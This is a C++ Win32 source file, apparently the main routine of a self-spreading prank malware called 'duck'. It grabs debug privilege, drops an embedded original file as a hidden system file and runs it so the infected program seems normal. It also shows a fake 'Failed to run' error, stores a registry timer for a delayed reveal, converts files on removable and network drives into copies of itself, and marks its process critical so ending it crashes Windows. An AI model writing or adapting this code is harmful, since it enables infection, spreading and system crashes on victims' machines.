#include "duck.h"
#define WM_QUESTBACK	(WM_USER + 1)

//variables
GLOBAL DOUBLE			dpisc;
GLOBAL HINSTANCE		ghInstance;
GLOBAL HWND				ghMsgWindow;
GLOBAL HANDLE			ghMainThread;
GLOBAL DWORD			gMainThreadId;
GLOBAL HANDLE			ghProcess;
GLOBAL DWORD			gProcessId;
GLOBAL BOOL				gIsRevealed;
GLOBAL BOOL				gIsTipShown;
GLOBAL TCHAR			gFileFullName[MAX_PATH];

//declarations
LRESULT __stdcall MsgWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


INT WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE, PWSTR pCmdLine, INT nCmdShow)
{
	SetProcessDPIAware();
	const HDC screen = GetDC(nullptr);
	const DOUBLE dpiX = static_cast<DOUBLE>(GetDeviceCaps(screen, LOGPIXELSX));
	const DOUBLE dpiY = static_cast<DOUBLE>(GetDeviceCaps(screen, LOGPIXELSY));
	dpisc = 192.0 / (dpiX + dpiY);
	ReleaseDC(nullptr, screen);
	SetErrorMode(SetErrorMode(SEM_NOGPFAULTERRORBOX) | SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX);


	//set global variables

	ghInstance = hInstance;
	ghMainThread = GetCurrentThread();
	gMainThreadId = GetCurrentThreadId();
	ghProcess = GetCurrentProcess();
	gProcessId = GetCurrentProcessId();
	GetModuleFileName(nullptr, gFileFullName, MAX_PATH);


	//acquire administrator privilege and check duck

	BOOLEAN blUnused;
	RtlAdjustPrivilege(20, TRUE, FALSE, &blUnused);
	if (!IsExeDuck(gFileFullName)) throw 0;


	//debug set-------------------------------------------------

#ifdef DEBUG
	//goto straight_to_msgloop;
#endif


	//close while meeting delete key

	LPTSTR str;
	DWORD strSize;
	if (0 == RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, nullptr, RRF_RT_REG_SZ, nullptr, &str, &strSize)
		&& lstrcmp(str,STR_DUCK_KEY) == 0)
		return 0;


	//bypass extracting or opening original file procedures when the duck is opened by another duck

	BOOL runExtractedFileLater = FALSE;
	if (pCmdLine != STR_DUCK_KEY)
	{
		//extract original file from resource if it has

		TCHAR duckExtFileLoc[MAX_PATH];
		lstrcpy(duckExtFileLoc, gFileFullName);
		PathRemoveExtension(duckExtFileLoc);
		lstrcat(duckExtFileLoc, TEXT(".duck"));

		TCHAR duckExtFileLocQuoted[MAX_PATH + 2];
		lstrcpy(duckExtFileLocQuoted, TEXT("\""));
		lstrcpy(duckExtFileLocQuoted, duckExtFileLoc);
		lstrcpy(duckExtFileLocQuoted, TEXT("\""));

		if (!IsExeRunning(duckExtFileLoc))
		{
			const HMODULE lib = LoadLibrary(gFileFullName);
			const HRSRC res = FindResource(lib, MAKEINTRESOURCE(1), RT_RCDATA);

			if (res != nullptr)
			{
				runExtractedFileLater = TRUE;

				const DWORD resSize = SizeofResource(lib, res);
				const HGLOBAL resLoad = LoadResource(lib, res);
				const LPCVOID resData = LockResource(resLoad);

				DeleteFile(duckExtFileLoc);
				const HANDLE file = CreateFile(duckExtFileLoc, GENERIC_WRITE, NULL, nullptr, CREATE_NEW,
					FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, nullptr);
				DWORD resWritten;
				WriteFile(file, resData, resSize, &resWritten, nullptr);
				CloseHandle(file);
			}

			FreeLibrary(lib);
		}
		else runExtractedFileLater = TRUE;


		//run original file that is extracted

		if (runExtractedFileLater)
		{
			STARTUPINFO info = {sizeof(info)};
			PROCESS_INFORMATION processInfo;
			CreateProcess(duckExtFileLocQuoted, pCmdLine, nullptr, nullptr, TRUE, 0, nullptr, nullptr, &info,
				&processInfo);
			CloseHandle(processInfo.hThread);
			CloseHandle(processInfo.hProcess);
		}
	}


	//make sure this duck file only has one process

	DWORD processes[4096];
	DWORD bytesGot;
	EnumProcesses(processes, sizeof processes, &bytesGot);
	const DWORD processesCount = bytesGot / sizeof(DWORD);

	TCHAR currName[MAX_PATH];
	GetModuleFileNameEx(ghProcess, nullptr, currName, MAX_PATH);

	for (DWORD x = 0; x <= processesCount - 1; x++)
	{
		const HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[x]);
		TCHAR name[MAX_PATH];
		GetModuleFileNameEx(process, nullptr, name, MAX_PATH);
		CloseHandle(process);
		if (processes[x] != gProcessId && lstrcmp(name, currName) == 0) return 0;
	}


	//check for key

	DWORD strLowtime;
	DWORD strHightime;
	DWORD strLowtimeSize, strHightimeSize;
	const LSTATUS resGetLowtime = RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, DUCK_REG_VALUE_LOWTIME,
		RRF_RT_REG_DWORD,
		nullptr, &strLowtime, &strLowtimeSize);
	const LSTATUS resGetHightime = RegGetValue(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, DUCK_REG_VALUE_HIGHTIME,
		RRF_RT_REG_DWORD, nullptr, &strHightime, &strHightimeSize);

	SYSTEMTIME sysTime;
	GetSystemTime(&sysTime);
	FILETIME fileTime;
	SystemTimeToFileTime(&sysTime, &fileTime);

	if (resGetLowtime != ERROR_SUCCESS || resGetHightime != ERROR_SUCCESS)
	{
		HKEY duckKey;
		RegDeleteKey(HKEY_LOCAL_MACHINE, DUCK_REG_PATH);
		RegCreateKey(HKEY_LOCAL_MACHINE, DUCK_REG_PATH, &duckKey);

		RegSetValueEx(duckKey, DUCK_REG_VALUE_LOWTIME, NULL, REG_DWORD, (BYTE*)&fileTime.dwLowDateTime,
			sizeof(DWORD));
		RegSetValueEx(duckKey, DUCK_REG_VALUE_HIGHTIME, NULL, REG_DWORD, (BYTE*)&fileTime.dwHighDateTime,
			sizeof(DWORD));

		gIsRevealed = FALSE;
	}
	else
	{
		//check for revealing

		const ULONGLONG resDuckedTime = (static_cast<ULONGLONG>(strHightime) << 32) + strLowtime;
		const ULONGLONG resCurrTime = (static_cast<ULONGLONG>(fileTime.dwHighDateTime) << 32) + fileTime.dwLowDateTime;
		gIsRevealed = resCurrTime > resDuckedTime && resCurrTime - resDuckedTime >= REVEAL_TIME;
	}


	//play gaga or create fake popup error

	if (!runExtractedFileLater && gIsRevealed)
	{
		CreateThread(nullptr, NULL, [](LPVOID lp)-> DWORD
		{
			QuackVoiceOnce();
			return 0;
		}, nullptr, NULL, nullptr);
	}
	else if (!runExtractedFileLater)
	{
		CreateThread(nullptr,NULL, [](LPVOID lp)-> DWORD
		{
			TCHAR str[MAX_PATH + 14];
			lstrcat(str, TEXT("Failed to run "));
			lstrcat(str, PathFindFileName(reinterpret_cast<LPTSTR>(lp)));
			MessageBox(nullptr, str, nullptr, MB_ICONERROR);
			return 0;
		}, gFileFullName, NULL, nullptr);
	}


	//for removable devices only run one routine

	TCHAR diskPath[3];
	diskPath[0] = gFileFullName[0];
	diskPath[1] = '\0';
	lstrcat(diskPath, TEXT(":"));

	const UINT driveType = GetDriveType(diskPath);
	const BOOL removable = driveType == DRIVE_REMOVABLE || driveType == DRIVE_REMOTE;

	if (removable)
	{
		// ReSharper disable once CppDeclaratorDisambiguatedAsFunction
		extern DWORD __stdcall AllFilesToDucks(LPVOID);
		AllFilesToDucks(nullptr);
		return 0;
	}


straight_to_msgloop:

	//set critical process

#ifndef HARMLESS
	ULONG breakOnTermination = 1;
	NtSetInformationProcess((HANDLE)-1, 0x1d, &breakOnTermination, sizeof(ULONG));
#endif

	//create message-only window

	WNDCLASS wndc = {};
	wndc.lpfnWndProc = MsgWindowProc;
	wndc.hInstance = hInstance;
	wndc.lpszClassName = DUCKPROC_CLASS_MSG_NAME;
	RegisterClass(&wndc);

	const HWND hMsgWindow = CreateWindow(DUCKPROC_CLASS_MSG_NAME, DUCKPROC_WINDOW_MSG_NAME, NULL,
		0, 0, 0, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);
	ghMsgWindow = hMsgWindow;

	//run first as minor

#ifndef DEBUG
	WageMinor();
#endif
#ifdef DEBUG
	CreateTipWindow();
#endif

	//message loop

	MSG msg = {};
	while (GetMessage(&msg, nullptr, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}


LRESULT __stdcall MsgWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_TOMINOR:
		{
			WageMinor();
			return 0;
		}
	case WM_TOMAJOR:
		{
			WageMajor();
			return 0;
		}
	default:
		break;
	}
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
